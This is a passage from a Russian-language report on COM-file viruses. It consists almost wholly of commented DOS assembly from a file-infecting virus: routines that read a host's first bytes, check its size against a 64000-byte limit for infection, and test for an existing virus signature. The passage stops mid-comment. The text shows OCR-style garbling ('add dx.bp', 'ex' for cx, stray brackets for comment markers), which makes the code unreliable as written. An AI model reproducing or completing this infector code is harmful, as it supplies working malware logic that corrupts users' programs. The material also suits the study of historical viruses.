Доклад: СОМ-вирусы
[Читаем первые три байта файла в тело вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3-offset myself
add dx.bp
mov cx,3
int 21 h
.Получаем длину файла, для чего переходим в конец файла
Testik:
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen-offset MySelf)],ax
[Проверяем длину файла
cmp ax.64000
;Если файл не больше 64000 байт,- переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna richJest
jmp find_next
Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:
[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx,offset bytik-offset myself
add dx.bp
int 21 h
;Если при чтении файла ошибок
;не произошло - проверяем сигнатуру,